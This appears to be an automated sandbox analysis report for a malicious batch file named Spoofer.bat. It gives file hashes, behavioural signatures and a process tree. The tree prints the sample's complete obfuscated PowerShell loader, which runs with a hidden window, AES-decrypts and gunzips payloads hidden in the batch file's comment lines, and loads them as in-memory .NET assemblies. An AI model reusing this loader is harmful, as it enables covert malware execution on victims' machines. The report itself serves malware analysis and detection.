Analysis
-
max time kernel
119s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25-01-2025 14:56
Static task
static1
Behavioral task
behavioral1
Sample
Spoofer.bat
Resource
win7-20240903-en
6 signatures
150 seconds
General
-
Target
Spoofer.bat
-
Size
293KB
-
MD5
eafc5ba9f6f74bfced619180451718d1
-
SHA1
1bf80060b1af65d0ae1c4e10ba681acdb97127da
-
SHA256
1ecacd9c2ab0bc3acfde09e2819c2390e231110f5923fdd9ee26dfe76ccd337f
-
SHA512
391e30a38a44bdde182a982067a68442e41f4d43cfee136fd7560c56cc0a537da03dcb6241675c69f3d57bd09d5f385d2674f9f708f450d88cc1314009e6d591
-
SSDEEP
3072:3W+656Qjki8jgdcsZ9nd7Ab62C2TMT/CuL9j0XqwQ/HJ7kntdCoq+Saafyl9w5:3W+IWgdc0ZAu2m/7LdZwYHJmDFSJCi5
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3000 powershell.exe -
Deletes itself 1 IoCs
pid Process 1980 cmd.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3000 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3000 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1980 wrote to memory of 2344 1980 cmd.exe 32 PID 1980 wrote to memory of 2344 1980 cmd.exe 32 PID 1980 wrote to memory of 2344 1980 cmd.exe 32 PID 2344 wrote to memory of 1084 2344 net.exe 33 PID 2344 wrote to memory of 1084 2344 net.exe 33 PID 2344 wrote to memory of 1084 2344 net.exe 33 PID 1980 wrote to memory of 3000 1980 cmd.exe 34 PID 1980 wrote to memory of 3000 1980 cmd.exe 34 PID 1980 wrote to memory of 3000 1980 cmd.exe 34
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Spoofer.bat"1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:1084
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('alu9gNFHG/1+ONNuVv38kB6PYCH5Zwt0aaqQhOABIPQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TJb0r0olCEvhnI4DkaxyfQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mcfDl=New-Object System.IO.MemoryStream(,$param_var); $qjFRZ=New-Object System.IO.MemoryStream; $CoVvH=New-Object System.IO.Compression.GZipStream($mcfDl, [IO.Compression.CompressionMode]::Decompress); $CoVvH.CopyTo($qjFRZ); $CoVvH.Dispose(); $mcfDl.Dispose(); $qjFRZ.Dispose(); $qjFRZ.ToArray();}function execute_function($param_var,$param2_var){ $TXVMP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uDvWJ=$TXVMP.EntryPoint; $uDvWJ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Spoofer.bat';$VhdxI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Spoofer.bat').Split([Environment]::NewLine);foreach ($RSEQe in $VhdxI) { if ($RSEQe.StartsWith(':: ')) { $PYavD=$RSEQe.Substring(3); break; }}$payloads_var=[string[]]$PYavD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3000
-